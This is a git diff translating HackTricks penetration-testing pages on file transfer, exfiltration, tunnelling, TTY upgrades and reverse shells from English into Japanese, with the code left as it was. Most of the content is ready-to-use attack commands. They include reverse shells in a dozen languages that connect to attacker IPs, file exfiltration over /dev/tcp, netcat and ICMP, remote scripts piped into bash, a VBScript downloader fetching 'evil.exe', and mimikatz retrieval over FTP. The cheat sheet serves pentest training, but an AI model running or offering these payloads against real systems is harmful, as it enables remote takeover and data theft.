[**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) -- Python module [uploadserver](https://pypi.org/project/uploadserver/): - +- [**GETおよびPOST(ヘッダーも含む)を印刷するSimpleHttpServer**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +- Pythonモジュール [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver @@ -68,9 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` - -### **HTTPS Server** - +### **HTTPSサーバー** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ @@ -105,31 +94,25 @@ from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): - print(request.get_json()) - return "OK" +print(request.get_json()) +return "OK" if __name__ == "__main__": - app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) +app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` - ## FTP -### FTP server (python) - +### FTPサーバー (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` - -### FTP server (NodeJS) - +### FTPサーバー (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` - -### FTP server (pure-ftp) - +### FTPサーバー (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` @@ -147,9 +130,7 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` - -### **Windows** client - +### **Windows** クライアント ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -160,37 +141,31 @@ echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` - ## SMB -Kali as server - +Kaliをサーバーとして ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` - Or create a smb share **using samba**: - ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] - comment = Samba on Ubuntu - path = /tmp/smb - read only = no - browsable = yes - guest ok = Yes +comment = Samba on Ubuntu +path = /tmp/smb +read only = no +browsable = yes +guest ok = Yes #Start samba service smbd restart ``` - -Windows - +ウィンドウズ ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -198,54 +173,42 @@ CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentia WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` - ## SCP -The attacker has to have SSHd running. - +攻撃者はSSHdを実行している必要があります。 ```bash scp @:/ ``` - ## SSHFS -If the victim has SSH, the attacker can mount a directory from the victim to the attacker. - +もし被害者がSSHを持っている場合、攻撃者は被害者のディレクトリを攻撃者にマウントすることができます。 ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` - ## NC - ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` - ## /dev/tcp -### Download file from victim - +### 被害者からファイルをダウンロードする ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` - -### Upload file to victim - +### 被害者にファイルをアップロードする ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` - -thanks to **@BinaryShadow\_** +**@BinaryShadow\_** に感謝 ## **ICMP** - ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done @@ -256,64 +219,50 @@ xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ``` - -In **victim**, connect to the Kali server: - +**被害者**で、Kaliサーバーに接続します: ```bash tftp -i get nc.exe ``` - ## PHP -Download a file with a PHP oneliner: - +PHPワンライナーを使用してファイルをダウンロードします: ```bash echo "" > down2.php ``` - ## VBScript - ```bash Attacker> python -m SimpleHTTPServer 80 ``` - -**Victim** - +**犠牲者** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs @@ -345,23 +294,16 @@ echo ts.Close >> wget.vbs ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` - ## Debug.exe -The `debug.exe` program not only allows inspection of binaries but also has the **capability to rebuild them from hex**. This means that by providing an hex of a binary, `debug.exe` can generate the binary file. However, it's important to note that debug.exe has a **limitation of assembling files up to 64 kb in size**. - +`debug.exe` プログラムはバイナリの検査だけでなく、**16進数からそれらを再構築する能力**も持っています。これは、バイナリの16進数を提供することで、`debug.exe` がバイナリファイルを生成できることを意味します。ただし、debug.exe には**最大64 kbのサイズのファイルをアセンブルする制限**があることに注意することが重要です。 ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` - -Then copy-paste the text into the windows-shell and a file called nc.exe will be created. - -- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) +その後、テキストをウィンドウズシェルにコピー&ペーストすると、nc.exeというファイルが作成されます。 ## DNS -- [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) - {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/README.md b/src/generic-hacking/reverse-shells/README.md index 9f8253367..03fe464b8 100644 --- a/src/generic-hacking/reverse-shells/README.md +++ b/src/generic-hacking/reverse-shells/README.md @@ -1,14 +1,14 @@ {{#include ../../banners/hacktricks-training.md}} -# [**Shells - Linux**](linux.md) +# [**シェル - Linux**](linux.md) -# [**Shells - Windows**](windows.md) +# [**シェル - Windows**](windows.md) -# [**MSFVenom - CheatSheet**](msfvenom.md) +# [**MSFVenom - チートシート**](msfvenom.md) -# [**Full TTYs**](full-ttys.md) +# [**フルTTY**](full-ttys.md) -# **Auto-generated shells** +# **自動生成されたシェル** - [**https://reverse-shell.sh/**](https://reverse-shell.sh/) - [**https://www.revshells.com/**](https://www.revshells.com/) diff --git a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md index b52276fda..dd09cabd2 100644 --- a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md +++ b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md @@ -1,13 +1,12 @@ -# Expose local to the internet +# インターネットにローカルを公開する {{#include ../../banners/hacktricks-training.md}} -**The goal of this page is to propose alternatives that allow AT LEAST to expose local raw TCP ports and local webs (HTTP) to the internet WITHOUT needing to install anything in the other server (only in local if needed).** +**このページの目的は、他のサーバーに何もインストールすることなく(必要に応じてローカルにのみ)、ローカルの生TCPポートとローカルウェブ(HTTP)をインターネットに公開するための代替手段を提案することです。** ## **Serveo** -From [https://serveo.net/](https://serveo.net/), it allows several http and port forwarding features **for free**. - +From [https://serveo.net/](https://serveo.net/)、いくつかのHTTPおよびポート転送機能を**無料で**提供しています。 ```bash # Get a random port from serveo.net to expose local port 4444 ssh -R 0:localhost:4444 serveo.net @@ -15,11 +14,9 @@ ssh -R 0:localhost:4444 serveo.net # Expose a web listening in localhost:300 in a random https URL ssh -R 80:localhost:3000 serveo.net ``` - ## SocketXP -From [https://www.socketxp.com/download](https://www.socketxp.com/download), it allows to expose tcp and http: - +[https://www.socketxp.com/download](https://www.socketxp.com/download) から、tcp と http を公開することができます。 ```bash # Expose tcp port 22 socketxp connect tcp://localhost:22 @@ -27,11 +24,9 @@ socketxp connect tcp://localhost:22 # Expose http port 8080 socketxp connect http://localhost:8080 ``` - ## Ngrok -From [https://ngrok.com/](https://ngrok.com/), it allows to expose http and tcp ports: - +[https://ngrok.com/](https://ngrok.com/) から、http および tcp ポートを公開することができます: ```bash # Expose web in 3000 ngrok http 8000 @@ -39,11 +34,9 @@ ngrok http 8000 # Expose port in 9000 (it requires a credit card, but you won't be charged) ngrok tcp 9000 ``` - ## Telebit -From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http and tcp ports: - +[https://telebit.cloud/](https://telebit.cloud/) から、http および tcp ポートを公開することができます: ```bash # Expose web in 3000 /Users/username/Applications/telebit/bin/telebit http 3000 @@ -51,11 +44,9 @@ From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http a # Expose port in 9000 /Users/username/Applications/telebit/bin/telebit tcp 9000 ``` - ## LocalXpose -From [https://localxpose.io/](https://localxpose.io/), it allows several http and port forwarding features **for free**. - +[https://localxpose.io/](https://localxpose.io/) から、いくつかの http およびポートフォワーディング機能を **無料** で提供しています。 ```bash # Expose web in port 8989 loclx tunnel http -t 8989 @@ -63,11 +54,9 @@ loclx tunnel http -t 8989 # Expose tcp port in 4545 (requires pro) loclx tunnel tcp --port 4545 ``` - ## Expose -From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp ports: - +From [https://expose.dev/](https://expose.dev/) は、httpおよびtcpポートを公開することを可能にします: ```bash # Expose web in 3000 ./expose share http://localhost:3000 @@ -75,14 +64,11 @@ From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp # Expose tcp port in port 4444 (REQUIRES PREMIUM) ./expose share-port 4444 ``` - ## Localtunnel -From [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) it allows to expose http for free: - +[https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) から、無料でhttpを公開することができます: ```bash # Expose web in port 8000 npx localtunnel --port 8000 ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/full-ttys.md b/src/generic-hacking/reverse-shells/full-ttys.md index 32d0eb1d5..40f70fc76 100644 --- a/src/generic-hacking/reverse-shells/full-ttys.md +++ b/src/generic-hacking/reverse-shells/full-ttys.md @@ -1,37 +1,26 @@ -# Full TTYs +# フルTTYs {{#include ../../banners/hacktricks-training.md}} -
+## フルTTY -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - -## Full TTY - -Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`. +`SHELL` 変数に設定するシェルは、必ず _**/etc/shells**_ に **リストされている必要があります** または `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`。また、次のスニペットは bash でのみ動作することに注意してください。zsh にいる場合は、`bash` を実行してシェルを取得する前に bash に変更してください。 #### Python - ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - > [!NOTE] -> You can get the **number** of **rows** and **columns** executing **`stty -a`** +> **`stty -a`**を実行することで、**行**と**列**の**数**を取得できます。 #### script - ```bash script /dev/null -qc /bin/bash #/dev/null is to not store anything (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - #### socat - ```bash #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 @@ -39,8 +28,7 @@ socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ``` - -### **Spawn shells** +### **シェルを生成する** - `python -c 'import pty; pty.spawn("/bin/sh")'` - `echo os.system('/bin/bash')` @@ -57,39 +45,32 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ## ReverseSSH -A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target. +**インタラクティブシェルアクセス**、**ファイル転送**、および**ポートフォワーディング**の便利な方法は、静的リンクされたsshサーバー[ReverseSSH](https://github.com/Fahrj/reverse-ssh)をターゲットにドロップすることです。 -Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/). - -1. Prepare locally to catch the ssh port forwarding request: +以下は、upx圧縮バイナリを使用した`x86`の例です。他のバイナリについては、[リリースページ](https://github.com/Fahrj/reverse-ssh/releases/latest/)を確認してください。 +1. sshポートフォワーディングリクエストをキャッチするためにローカルで準備します: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -v -l -p 4444 ``` - -- (2a) Linux target: - +- (2a) Linuxターゲット: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -p 4444 kali@10.0.0.2 ``` - -- (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)): - +- (2b) Windows 10 ターゲット (以前のバージョンについては、[project readme](https://github.com/Fahrj/reverse-ssh#features)を確認してください): ```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe reverse-ssh.exe -p 4444 kali@10.0.0.2 ``` - -- If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`: - +- ReverseSSHポートフォワーディングリクエストが成功した場合、`reverse-ssh(.exe)`を実行しているユーザーのコンテキストで、デフォルトのパスワード`letmeinbrudipls`でログインできるはずです: ```bash # Interactive shell access ssh -p 8888 127.0.0.1 @@ -97,25 +78,16 @@ ssh -p 8888 127.0.0.1 # Bidirectional file transfer sftp -P 8888 127.0.0.1 ``` - ## Penelope -[Penelope](https://github.com/brightio/penelope) automatically upgrades Linux reverse shells to TTY, handles the terminal size, logs everything and much more. Also it provides readline support for Windows shells. +[Penelope](https://github.com/brightio/penelope) は、Linux リバースシェルを自動的に TTY にアップグレードし、ターミナルサイズを処理し、すべてをログに記録し、さらに多くの機能を提供します。また、Windows シェルのための readline サポートも提供します。 ![penelope](https://github.com/user-attachments/assets/27ab4b3a-780c-4c07-a855-fd80a194c01e) ## No TTY -If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file: - +何らかの理由で完全な TTY を取得できない場合でも、**ユーザー入力を期待するプログラムと対話することができます**。次の例では、パスワードが `sudo` に渡されてファイルを読み取ります: ```bash expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "";send "\r\n";interact' ``` - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/linux.md b/src/generic-hacking/reverse-shells/linux.md index c1caa101d..65930c707 100644 --- a/src/generic-hacking/reverse-shells/linux.md +++ b/src/generic-hacking/reverse-shells/linux.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com) +**これらのシェルについて質問がある場合は、** [**https://explainshell.com/**](https://explainshell.com) **で確認できます。** ## Full TTY -**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.** +**リバースシェルを取得したら、** [**完全なTTYを取得するためにこのページを読んでください。**](full-ttys.md)**。** ## Bash | sh - ```bash curl https://reverse-shell.sh/1.1.1.1:3000 | bash bash -i >& /dev/tcp// 0>&1 @@ -22,11 +21,9 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; #after getting the previous shell to get the output to execute exec >&0 ``` +他のシェルも確認することを忘れないでください: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, および bash。 -Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash. - -### Symbol safe shell - +### シンボルセーフシェル ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -35,74 +32,66 @@ bash -c 'bash -i >& /dev/tcp// 0>&1' #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` +#### シェルの説明 -#### Shell explanation - -1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell. -2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**. -3. **`/dev/tcp//`**: This is a special file that **represents a TCP connection to the specified IP address and port**. - - By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine. -4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**. - -### Create in file and execute +1. **`bash -i`**: このコマンドの部分は、インタラクティブな(`-i`)Bashシェルを開始します。 +2. **`>&`**: このコマンドの部分は、**標準出力**(`stdout`)と**標準エラー**(`stderr`)を**同じ宛先**にリダイレクトするための省略記法です。 +3. **`/dev/tcp//`**: これは、**指定されたIPアドレスとポートへのTCP接続を表す特別なファイル**です。 +- **出力とエラーストリームをこのファイルにリダイレクトすることによって**、コマンドはインタラクティブシェルセッションの出力を攻撃者のマシンに送信します。 +4. **`0>&1`**: このコマンドの部分は、**標準入力(`stdin`)を標準出力(`stdout`)と同じ宛先にリダイレクトします**。 +### ファイルを作成して実行 ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` - ## Forward Shell -When dealing with a **Remote Code Execution (RCE)** vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively. +Linuxベースのウェブアプリケーション内の**Remote Code Execution (RCE)** 脆弱性に対処する際、リバースシェルの取得は、iptablesルールや複雑なパケットフィルタリングメカニズムなどのネットワーク防御によって妨げられることがあります。このような制約のある環境では、PTP(擬似端末)シェルを確立して、侵害されたシステムとより効果的に対話する代替アプローチが含まれます。 -A recommended tool for this purpose is [toboggan](https://github.com/n3rada/toboggan.git), which simplifies interaction with the target environment. - -To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named `nix.py` could be structured as follows: +この目的に推奨されるツールは[toboggan](https://github.com/n3rada/toboggan.git)で、ターゲット環境との対話を簡素化します。 +tobogganを効果的に利用するには、ターゲットシステムのRCEコンテキストに合わせたPythonモジュールを作成します。たとえば、`nix.py`という名前のモジュールは次のように構成できます: ```python3 import jwt import httpx def execute(command: str, timeout: float = None) -> str: - # Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution - token = jwt.encode( - {"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" - ) +# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution +token = jwt.encode( +{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" +) - response = httpx.get( - url="https://vulnerable.io:3200", - headers={"Authorization": f"Bearer {token}"}, - timeout=timeout, - # ||BURP|| - verify=False, - ) +response = httpx.get( +url="https://vulnerable.io:3200", +headers={"Authorization": f"Bearer {token}"}, +timeout=timeout, +# ||BURP|| +verify=False, +) - # Check if the request was successful - response.raise_for_status() +# Check if the request was successful +response.raise_for_status() - return response.text +return response.text ``` - -And then, you can run: - +そして、次のコマンドを実行できます: ```shell toboggan -m nix.py -i ``` +インタラクティブシェルを直接利用するには、Burpsuite統合のために`-b`を追加し、より基本的なRCEラッパーのために`-i`を削除できます。 -To directly leverage an interractive shell. You can add `-b` for Burpsuite integration and remove the `-i` for a more basic rce wrapper. +別の可能性として、`IppSec`のフォワードシェル実装を使用することができます [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)。 -Another possibility consist using the `IppSec` forward shell implementation [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). +次の項目を修正する必要があります: -You just need to modify: +- 脆弱なホストのURL +- ペイロードのプレフィックスとサフィックス(ある場合) +- ペイロードの送信方法(ヘッダー?データ?追加情報?) -- The URL of the vulnerable host -- The prefix and suffix of your payload (if any) -- The way the payload is sent (headers? data? extra info?) - -Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay). +その後、**コマンドを送信**するか、**`upgrade`コマンドを使用**してフルPTYを取得できます(パイプは約1.3秒の遅延で読み書きされることに注意してください)。 ## Netcat - ```bash nc -e /bin/sh nc | /bin/sh #Blind @@ -110,42 +99,32 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp nc | /bin/bash | nc rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## gsocket -Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) - +[https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) で確認してください。 ```bash bash -c "$(curl -fsSL gsocket.io/x)" ``` - -## Telnet - +## テルネット ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## Whois -**Attacker** - +**攻撃者** ```bash while true; do nc -l ; done ``` +コマンドを送信するには、書き込み、Enterを押し、CTRL+Dを押します(STDINを停止するため)。 -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**被害者** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` - -## Python - +## パイソン ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' @@ -153,23 +132,17 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC #IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` - -## Perl - +## パール ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - -## Ruby - +## ルビー ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## PHP - ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. @@ -181,51 +154,41 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` - -## Java - +## ジャバ ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` - ## Ncat - ```bash victim> ncat --ssl -c "bash -i 2>&1" attacker> ncat -l --ssl ``` - -## Golang - +## ゴラン ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` - -## Lua - +## ルア ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## NodeJS - ```javascript (function(){ - var net = require("net"), - cp = require("child_process"), - sh = cp.spawn("/bin/sh", []); - var client = new net.Socket(); - client.connect(8080, "10.17.26.64", function(){ - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); - }); - return /a/; // Prevents the Node.js application form crashing +var net = require("net"), +cp = require("child_process"), +sh = cp.spawn("/bin/sh", []); +var client = new net.Socket(); +client.connect(8080, "10.17.26.64", function(){ +client.pipe(sh.stdin); +sh.stdout.pipe(client); +sh.stderr.pipe(client); +}); +return /a/; // Prevents the Node.js application form crashing })(); @@ -256,19 +219,15 @@ or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` - ## OpenSSL -The Attacker (Kali) - +攻撃者 (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -The Victim - +被害者 ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -276,103 +235,84 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### バインドシェル ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` - -### Reverse shell - +### リバースシェル ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ## Awk - ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` +## フィンガー -## Finger - -**Attacker** - +**攻撃者** ```bash while true; do nc -l 79; done ``` +コマンドを送信するには、書き込み、Enterを押し、CTRL+Dを押します(STDINを停止するため)。 -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**被害者** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` - ## Gawk - ```bash #!/usr/bin/gawk -f BEGIN { - Port = 8080 - Prompt = "bkd> " +Port = 8080 +Prompt = "bkd> " - Service = "/inet/tcp/" Port "/0/0" - while (1) { - do { - printf Prompt |& Service - Service |& getline cmd - if (cmd) { - while ((cmd |& getline) > 0) - print $0 |& Service - close(cmd) - } - } while (cmd != "exit") - close(Service) - } +Service = "/inet/tcp/" Port "/0/0" +while (1) { +do { +printf Prompt |& Service +Service |& getline cmd +if (cmd) { +while ((cmd |& getline) > 0) +print $0 |& Service +close(cmd) +} +} while (cmd != "exit") +close(Service) +} } ``` - ## Xterm -This will try to connect to your system at port 6001: - +これはポート6001であなたのシステムに接続しようとします: ```bash xterm -display 10.0.0.1:1 ``` - -To catch the reverse shell you can use (which will listen in port 6001): - +リバースシェルをキャッチするには、次のように使用できます(ポート6001でリッスンします): ```bash # Authorize host xhost +targetip # Listen Xnest :1 ``` +## グルービー -## Groovy - -by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy - +by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注: Javaリバースシェルはグルービーでも動作します ```bash String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream 